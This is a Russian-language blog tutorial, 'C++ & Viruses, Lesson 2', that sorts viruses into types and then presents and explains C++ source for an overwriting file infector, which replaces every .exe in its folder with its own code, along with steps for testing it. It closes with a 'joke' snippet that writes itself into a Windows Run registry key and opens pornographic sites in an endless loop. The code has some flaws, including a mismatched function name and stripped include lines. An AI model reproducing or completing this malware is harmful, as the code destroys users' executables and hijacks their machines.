Yvision.kzYvision.kz
kk
Разное
Разное
399 772 постов41 подписчиков
Всяко-разно
0
09:38, 03 февраля 2013

C++&Вирусы. Урок 2

Привет! Я продолжаю писать уроки по си++ и разработке вирусов.


Сегодня мы разберем классификацию вирусов и напишем непосредственно сам вирус.
Конечно, он будет очень примитивный, но все же.
В приложении вы найдете описание нескольких необходимых функций
Этот урок начнем с разбора типов вирусов

Итак, прежде всего вирусы бывают резидентские и нерезидентные



Резидентские – это те вирусы, которые находиться в памяти до выключение компьютера.
Нерезидентные – эти вирусы не заражают память и действуют только ограниченное время.



Надеюсь тут понятно. Резидентские вирусы работают (тоесть распространяются) только до выключения компьютера и выгрузки памяти. А Нерезидентные только ограниченное время.




Вирусы могут обитать в сети, файлах, загрузочной области, макросах.
По местам обитания их можно разбить на группы.



Сетевые вирусы – самые обычные черви, которые могут размножаться по сети и соответственно заржать множество компьютеров. Эти вирусы используют возможности сетевых протоколов и глобальной сети. Вспомни Морриса.

Файловые вирусы – очень распространенный тип. Те вирусы, которые заражают файлы, например с расширениями *.exe, *.com,*.sys и так далее. С ними мы будем знакомиться ближе. Сейчас я опишу их способы размножения, но полный разбор будет на следующем уроке.

Overwriting – самый простенький способ. Они записывают вместо кода файла свой код, т.е. вирус превращает файл в себя. Соответственно быстро паляться.

Parasitic – тоже внедряют свой код в файл, но только частично. Тоесть либо вначале, либо в конце. Возможно еще в середине.

Компаньон-вирусы - а вот эти файлы не изменяют заражаемые файлы, а только создают им спутник (двойник) например с расширение *.COM. Например, после если он заразит файл “Examp.exe” то у этого файла в этом же каталоге создастся файл “Examp.com”.

Link-вирусы – тоже не изменяют файл, но при запуске зараженного файла операционная система выполняет нужный нам код.




Вот основные типы файловых вирусов. Скажу что у них важна скорость размножения – чем быстрее, тем больше вероятность заразить больше файлов и вызвать эпидемию. НО. Чем медленнее работает этот вирус те меньше вероятность, что его запалить антивирь.



Загрузочные вирусы – они повреждает загрузочную область(Boot область) их еще называют бутовые вирусы. При загрузке ос. (Тоетсь после тестов установленного оборудования) она передает управление управляющей программе. Так вот цель вируса внедрить свой код в эту программу.

Макро вирусы – в некоторых текстовых редакторах, электронных таблицах и т.д. встроены специальные макро языки. И при их помощи переносят себя из одного зараженного файла (документа или таблицы) в другие. Наибольшее распространение получили макро-вирусы для Microsoft Word, Excel и Office97. Существуют также макро-вирусы, заражающие документы Ami Pro и базы данных Microsoft Access.


Да…. Еще есть вирус под название логическая бомба. Вирус этот срабатывает в определенное время, которое кодер запрограммировал.

Большое распространение получили трояны и бэкдоры. Работают они по технологии клиент сервер.



Это самые распространенные вирусы.
Мы в ближайщее время работать в направлении файловых вирусов.

Думаю пора нам практиковаться.

Хочу дать совет. При написании любого вируса сядь и распиши алгоритма работы этого вируса. Тут ты можешь поэкспериментировать.



Для начала думаю, стоит написать вирус оверврайтер. Напомню что они записывает поверх заражаемого файла свой код.
Вот примерный алгоритм.


----------------------------------------------------------------------------------------------------------
Сначала нужно найти файл с нужным расширением. Мы будем использовать *.exe

Далее проверить заражен ли это файл. Проверка может заключаться в обычном сравнении размеров.

Непосредственно заменить тело файла (код) на свое.

Ну и выйти.
----------------------------------------------------------------------------------------------------------


Ты, конечно, можешь модернизировать этот алгоритм, если будет желание.
А вот и код самого вируса. Сейчас будем разбирать.




//---------------------------------------------------------------------------

#include // подключение необходимых директив
#include 
#pragma hdrstop
#include // в stdio.h хранить много функций, которые щаз нам пригодятся
#pragma hdrstop
#pragma argsused

void rewrite(char vir[],char tmp[]) // заголовок 
{
FILE *TeloVir, *TeloProg; // буферы для хранение нужных данных
char Buffer[1024];
int i = 0; // числовые переменные
short Count=0; 
TeloVir=fopen(vir,"rb"); //берем тело вируса
if (TeloVir) {
TeloProg=fopen(tmp,"wb"); // берем тело жертвы
if (TeloProg)
{
for (i=0;i<7680;i++) // цикл перезаписи кода жертвы
{
Count=fread(Buffer,1,1024,TeloVir);
if (Count)
fwrite(Buffer,1,Count,TeloProg); // сама запись поверх файла
}
}
}
fclose(TeloVir);
fclose(TeloProg);
}

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char name[256]; 
GetModuleFileName(hInstance, name, 256); // получаем имя вируса
struct ffblk ff; // структура типа ffblk, ее еще будем разбирать
int done;
done=findfirst("*.exe",&ff,0); // ищем файлы по маске (*.exe)
while(!done)
{
VirusOver(name,ff.ff_name); // непосредственно используем нашу функцию и заменяем код файла на свой
done=findnext(&ff); // если еще есть файлы, то продолжаем поиск и замену
}
}
//---------------------------------------------------------------------------

Хоть вирус и примитивный но новичкам будем полезен для наглядности.

В начале кода мы подключаем необходимые директивы. 
В есть большинство функций, которые мы используем.
Далее мы пишем функцию rewrite. У нее будет два аргумента:
Имя вируса. Тоесть то откуда будем считывать код.
Имя жертвы. Тоесть куда будем записывать считанный код.

В ней объявляем переменные типа FILE, их 2, буфер для тела вируса и для тела жертвы.
Тип file предназначен для доступа к линейной последовательности элементов, данные в нем быть могут почти любого типа. Объявление можно сравнить с объявлением массива, но в здесь мы не указываем элементы.

Далее Buffer. Он пригодиться нам при записи.

И две числовые переменные.

Далее едет считывание тела вируса в буфер объявленный нами выше.
Используем функцию fopen (подробнее см.в приложении). В качестве 2 аргументов мы передаем ей имя вируса и что с ним будем делать, т. е. тип доступа (r=read тоисть только чтение). 

Потом происходит считывание тела жертвы той же функцией только вместо аргументов передаем имя жертвы, а тип доступа будем уже w=write, тоисть запись

Если все нормуль, то запускаем цикл, в котором будем побайтно записывать поверх кода жертвы свой код.
Цикл будем выполняться до тех пор, пока не переменная v будем меньше чем размер моего исполняемого файла (v<7680). Размер я представил в байтах. Твой размер, конечно, может быть другой (на это влияют много факторов).

Итак, тело цикла:

В переменную Count записываем число прочитанных объектов, которые читает функция fread (cм. Приложение).

Далее происходит запись c помощью функции fwrite. Все функции подробно разобраны в приложении. Так что с ними предлагаю тебе разобраться самому.

Все. В конце завершаем работу с нашими переменными. Вызываю функцию fclose.

Теперь мы будем использовать эту функцию.

Сначала объявляется символьная переменная на 256 символов.
Она нужно для получения имени исп. Файла
Потом структура типа ffblk (см, приложение)

Далее получаем имя нашего вируса с помощью функции GetModuleFileName( см, приложение). Она возвращает число почитанных байт. Запись происходит в переменную name.
Теперь мы ищем все файлы, которые подходят к маске *.exe, ищем с помощью функции FindFirst
В первом параметре передаем маску.
Во втором структуру типа ffblk
В третьем передали 0.
Запускаем цикл, в котором юзаем нашу функцию.
Как мы помним у нее 2 параметра: имя вируса и жертвы.
Так вот. В первый мы передали name (функция GetModuleFileName помогла нам найти имя) во втором ff_name структуры ff. И опять записываем в done результат уже функции FindNext. Функция FindNExt ищет следующий файл.

Ну, вроде все… если что, то не понял всегда есть гугл.

Теперь поговорим о тестирование. Нет, мы не мазохисты, но проверить надо.

Создай на харде директорию и закинь туда несколько ненужных *.exe файлов (или сделай копии нужных). Также закинь туда нашего зверька и запускай. Если ты сделал все правильно, то все файлы должны стать такого же размера что и наш вирус. Еще должна поменяться иконка, это одни из минусов. Теперь эти файлы такие же вирусы.

На последок я подкину тебе небольшую шутку.
Где-то я видел нечто подобное на дельфи
Код

char path[100]; // переменная для пути
GetCurrentDirectory( 100, path ); // получаем путь и записываем его в переменную path
TRegistry *reg = new TRegistry(KEY_ALL_ACCESS); // инициализируемся
reg->RootKey= HKEY_LOCAL_MACHINE; // корень
reg->OpenKey("Software", true); // далее открываться нужные разделы
reg->OpenKey("Microsoft", true);
reg->OpenKey("Windows", true);
reg->OpenKey("CurrentVersion", true);
reg->OpenKey("Policies", true);
reg->OpenKey("Explorer", true);
reg->OpenKey("run", true); 
reg->WriteString("MSDrive","path"); записываем параметр с именем Sistem и значение path. А path у нас это путь
reg->CloseKey();// ну и закрываем ключ
for (int i=1;i>0;i++)
{
ShellExecute(NULL, "open", "http://porno.com/",0, 0, SW_SHOWNORMAL); // открываем адрес
Sleep(10000);//æäåì 10 ñåê
ShellExecute(NULL, "open", "http://porno.ru/",0, 0, SW_SHOWNORMAL);
Sleep(60000); // еще около минуты
}

Все здесь решает функция ShellExecute в приложении есть ее описание.
Далее спим 10 секунд.
Открываем еще один адрес.
Спим минуту
Повторяем.
И все это происходит в бесконечном цикле.
А в начале мы записались в реестр. Этот код мы разбирали на прошлом уроке.
Да… не забудь добавить в начале #include 

Приложение.

Функции fopen, fread, fwrite.

Fopen – функция открывает файл определяемый именем.
Параметры – имя, тип доступа.

Какой может быть тип доступа?

"r" - открыть файл для чтения.
"w" – открыть файл для записи. (Все содержимое уничтожается) 
"a" – открыть файл для добавления

"r+" - открыть файл для чтения и одновременно для записи
"w+" – открыть файл для записи и чтения
"a+" – открыть файл для добавления и чтения

Помнишь, мы говорили о вирусах, которые могут записываться, например, только в начало файла, не стирая его полностью. Так вот для этого и служит «a» и «а+».

К ним можно добавить (что мы и сделали) “b”. С ним мы откроем файл в двоичном режиме.

Функция fopen возвращает указатель на открытый файл.
Если она вернула NULL то произошла ошибка.

Fread – как мы выяснили она что то читает
Параметры – Буфер в котором будут располагаться данные
Размер в байтах (у нас 1)
Максимально число объектов (1024)
Указатель на структуру FILE (TeloVir у нас)

Возвращает число прочитанных объектов.

Fwrite – записываем поверх кода файла

Параметры – Что записывать (мы указали считанный в buffer вирус)
Размер одного элемента, тоже в байтах
Максимальное число элементов
Ну и указатель на структуру FILE или попросту куда записывать

GetModuleFileName – возвращает маршрут к файлу.
Параметры - Идентификатор модуля.
Буфеp.
Размер буфера.
Функция возвратит нам число скопированных байт. Что собственно нам и нужно.

Структура типа ffblk.

В этой структуре храниться информация о файле и Содержащем его каталоге
Структура пригодиться нам при работе с FindFirst.

FindFirst – производит поиск по маске.
Параметры – Маска
Указатель на структуру ffblk.

При успешном выполнении возвращает 0. Если она видит что в каталоге нет подходящих файлов возвращает -1.

Вместе с ней мы используем также FindNext. Обращение к этой функции дает следующий файл, подходящий по шаблону.

Вот и все. Не судите строго =)

 

Уроки для хакеров и программистов

0
3448
0